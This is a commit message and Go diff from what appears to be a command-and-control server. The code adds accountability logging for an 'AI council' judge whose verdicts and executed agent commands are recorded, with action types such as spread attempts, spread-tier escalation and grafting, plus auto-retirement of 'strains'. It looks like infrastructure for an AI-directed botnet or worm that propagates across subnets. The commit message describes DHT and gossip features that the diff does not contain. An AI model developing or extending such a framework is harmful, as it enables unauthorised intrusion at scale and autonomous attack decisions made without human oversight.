Add Fleet Torrent erasure extension with shard DHT and gossip.

Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.

server/internal/ai/oath_recorder.go

@@ -0,0 +1,21 @@
+package ai
+
+// Oath action types and outcomes — mirrored in db/oath_ledger.go for SQLite rows.
+const (
+	OathSpreadTierEscalation = "spread_tier_escalation"
+	OathGraft                = "graft"
+	OathForkMerge            = "fork_merge"
+	OathStrainCardPlay       = "strain_card_play"
+	OathCourtL4Decision      = "court_l4_decision"
+	OathSpreadAttempt        = "spread_attempt"
+	OathStrainHospice        = "strain_hospice"
+
+	OathOutcomeSuccess = "success"
+	OathOutcomeFail    = "fail"
+	OathOutcomePending = "pending"
+)
+
+// OathRecorder persists immutable operator / AI council accountability rows.
+type OathRecorder interface {
+	Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error
+}

server/internal/ai/scheduler.go

@@ -50,6 +50,8 @@ type Scheduler struct {
 	chamber  CourtDeps
 	elevator ClearanceElevator
 	seer     SeerBridge
+	oath     OathRecorder
+	hospice  StrainHospiceScanner
 	surgical SurgicalDeps
 	stop     chan struct{}
 	wg       sync.WaitGroup
@@ -76,6 +78,11 @@ func (s *Scheduler) SetSeerBridge(b SeerBridge) {
 	s.seer = b
 }
 
+// SetOathRecorder wires immutable accountability rows (optional).
+func (s *Scheduler) SetOathRecorder(r OathRecorder) {
+	s.oath = r
+}
+
 // SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters.
 func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) {
 	s.surgical = deps
@@ -86,6 +93,16 @@ func (s *Scheduler) SetCourtDeps(deps CourtDeps) {
 	s.chamber = deps
 }
 
+// StrainHospiceScanner auto-retires chronic low-win strains when AI control is enabled.
+type StrainHospiceScanner interface {
+	MaybeAutoRetireLowWinStrains()
+}
+
+// SetStrainHospiceScanner wires AI auto-retire for epidemiology clutter.
+func (s *Scheduler) SetStrainHospiceScanner(scanner StrainHospiceScanner) {
+	s.hospice = scanner
+}
+
 func (s *Scheduler) Start() {
 	s.wg.Add(1)
 	go s.loop()
@@ -133,6 +150,9 @@ func (s *Scheduler) tick() {
 	if !cfg.Enabled {
 		return
 	}
+	if s.hospice != nil {
+		s.hospice.MaybeAutoRetireLowWinStrains()
+	}
 	interval := time.Duration(cfg.IntervalSec) * time.Second
 	if interval < time.Second {
 		interval = 60 * time.Second
@@ -331,6 +351,27 @@ func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTransc
 			"ts":         transcript.Timestamp,
 		})
 	}
+	if s.oath != nil {
+		outcome := OathOutcomeSuccess
+		if strings.Contains(executed, "err:") {
+			outcome = OathOutcomeFail
+		}
+		_ = s.oath.Record(
+			"ai_council:judge",
+			OathCourtL4Decision,
+			agentID,
+			"",
+			outcome,
+			transcript,
+			map[string]interface{}{
+				"verdict":    transcript.Verdict,
+				"executed":   executed,
+				"commands":   transcript.CommandsJSON,
+				"clearance":  transcript.ClearanceLevel,
+				"agent_name": transcript.AgentName,
+			},
+		)
+	}
 	if s.chamber.Emberwake != nil {
 		s.chamber.Emberwake(agentID, transcript)
 	}